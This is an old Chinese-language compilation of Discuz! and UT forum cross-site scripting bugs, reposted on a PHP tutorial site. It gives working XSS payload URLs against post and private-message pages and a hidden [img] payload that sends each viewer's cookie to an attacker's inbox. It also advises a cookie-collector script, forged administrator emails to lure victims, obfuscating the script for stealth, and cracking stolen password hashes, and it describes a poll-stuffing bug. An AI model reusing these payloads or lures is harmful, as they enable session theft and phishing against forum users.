Maison >développement back-end >tutoriel php >Discuz!跨站大全_PHP

Discuz!跨站大全_PHP

WBOY
WBOYoriginal
2016-06-01 12:39:21789parcourir

在discuz!的发贴、回贴、PM等中的subject都没有经过过滤,所以也可以添加代码。
例如
http://xxx/post.php?action=newthread&fid=2...cript%3E%3Cb%22

效果是首先弹出自己的cookie
利用方法:把上述代码放置到img中。

适用版本:discuz!2.x
discuz!3.x
一种利用discuz!2.0漏洞进行欺骗获得cookie的尝试

通过测试XXXFan论坛的PM功能存在一个安全漏洞,具体描述如下:
XXXFan的给某个会员发送悄悄的链接如下(假定这个会员名字为XXXFan)
http://XXX/pm.php?action=send&username=XXXFan

因为论坛程序对会员名字没有进行过滤,而是直接显示在发送到栏目中(TO:),所以可以在名字后面加上script代码。例如

http://XXX/pm.php?action=send&username=XXXFan ";><script>alert(document..cookie)</script>
上面的链接点击以后首先弹出的是自己的cookie内容。
当然我们可以先在自己的站点上构造一个程序来收集cookie,类似于
getcookie.php?cookie=

但是如何来诱使会员点击呢,如果简单的放在论坛上,太容易被识别。所以可以利用discuz论坛程序的另外一个功能,“帖子介绍给朋友”功能。

因为discuz的这个功能对填写的emial地址没有进行任何过滤、辨别和模版,可以伪造任何人给别人发信,安全性很高。利用这个功能我们就可以伪造ExploitFan的管理员给某个会员发一封信,诱使会员点击我们准备的URL,如果诱使就看自己的手段了,例如可以说“论坛正在测试新功能,请您协助点击上面地址,我们会在后台记录您的点击在合适的时间会给您增加积分以做奖励”等等。

因为链接地址是XXXFan的,而且发信人和邮件地址都是XXXFan的官方地址,所以可信度非常高,而且不会留下任何把柄。当然为了更高的安全性,可以在<script>里的内容加密,以进一步增加隐蔽性。 <br /><br />至于得到cookie如何做,可以尝试cookie欺骗或者是暴力破解MD5密码 <br /><br />本方法适用于大部分使用discuz2.0的论坛,至于discuz3.0的利用方法请参与在我以前发表的discuz!悄悄话漏洞 <br />【BUG】Discuz!投票的BUG <br />投票可以用 <br />misc.php?action=votepoll&fid=2&tid=16980&pollanswers[]=n <br />(n为选项,从0开始) <br />的方式通过URL来直接投票 <br /><br />但是如果n>最大选项呢,嘻嘻~ <br />照样提交成功,不过增加了一个标题为空的选项 <br /><br />效果见: <br />http://discuz.net/viewthread.php?tid=20020&sid=dymPEc <br />(那个最后的空白的是我刚加的) <br /><br />该漏洞存在的版本: <br />Discuz!3.X <br />Discuz!2.X(可能,没有测试过) <br />Discuz!的代码漏洞 <br />这是接着昨天发现的漏洞所展开的,第一发现者(PK0909)。 <br /><br />具体的描述就不说了,下面是一个简单的测试代码。 <br /><br />http://www.xxxx.net/phpbbs/post.php?action...%3C%2Fscript%3E <br /><br />上面的代码是显示出自己的cookie <br /><br />下面是在某个比较有名的论坛的测试代码,无论谁察看该网页都会把cookie送到指定的会员短信箱里,隐蔽性很好,就是如果有人引用你的贴,哈哈~这里都会跑出来,露馅了 <br /><br />[ img]http://xxx.com/xx.gif%22%20style=display:none%3e%3c/img%3e%3cscript%3evar%20Req=new%20ActiveXObject(%22MSXML2.XMLHTTP%22);Req.open(%22post%22,%22http://www.XXXX.com/forum/pm.php?action=send%22,false);var%20forms=%22pmSubmit=Submit%22.toLowerCase()%2B%22%26msgto=XXXXX%26subject=cookie%26saveoutbox=0%26message=%22%2Bescape(document..cookie);Req.setRequestHeader(%22Content-length%22,forms.length)%3BReq.setRequestHeader(%22CONTENT-TYPE%22,%22application/x-www-form-urlencoded%22);Req.send(forms);%3c/script%3e%3cb%22 [ /img] <br />发现discuz!UT 跨域站点的脚本漏洞--短消息篇有关跨域站点的脚本漏洞,已经算是非常平成并普遍的漏洞了。 <br />有关具体的消息可以参阅: <br />http://www.cert.org/advisories/CA-2000-02.html <br />下面针对Discuz、UT论坛程序的悄悄话部分加以说明 <br /><br />漏洞适应版本: <br />Discuz1.X <br />Discuz!2.0(0609,0820版) <br />Discuz!3.X <br />UT 1.0 <br /><br />漏洞描述: <br /><br />discuz!给指定会员发送悄悄话使用的是类似http://www.XXXX.net/phpbbs/pm.php?action=send&username=name 的语句,但是name没有经过过滤直接显示在发送短消息的页面中,这就给偷cookie或者更严重的破坏打开了方便之门。 <br /><br />Discuz!3.X已经改为http://XXX.net/pm.php?action=send&uid=XXXX类似的语句,避免了这个漏洞,但是在选择短信文件夹的时候却没有经过过滤。同样产生了上面的漏洞 <br /><br /><br />例 <br />http://www.XXXX.net/phpbbs/pm.php?action=s...d&username=name %22%3E%3Cscript%3Ealert(document..cookie)%3C/script%3E%3Cb%22[/url] <br />,上面的例子是显示自己的cookie。(针对Discuz!1.X Discuz!2.X) <br /><br />http://XXX.net/pm.php?folder=inbox%22%3E%3...cript%3E%3Cb%22 <br />显示自己的cookie。(针对Discuz!3.X) <br /><br />UT虽然在主题上经过了过滤,也就是说把%27转换为';但是其收件人却没有过滤,所以同样有类似的漏洞。例子略。(在不同的UT论坛上发现其代码不尽相同,但是总的来说都有类似的漏洞) <br /><br /><br />危害度:中弱 <br /><br />预防办法: <br />点击超级链接时请注意其真实内容。更多的安全补丁请密切关注官方论坛。 </script>

Déclaration:
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn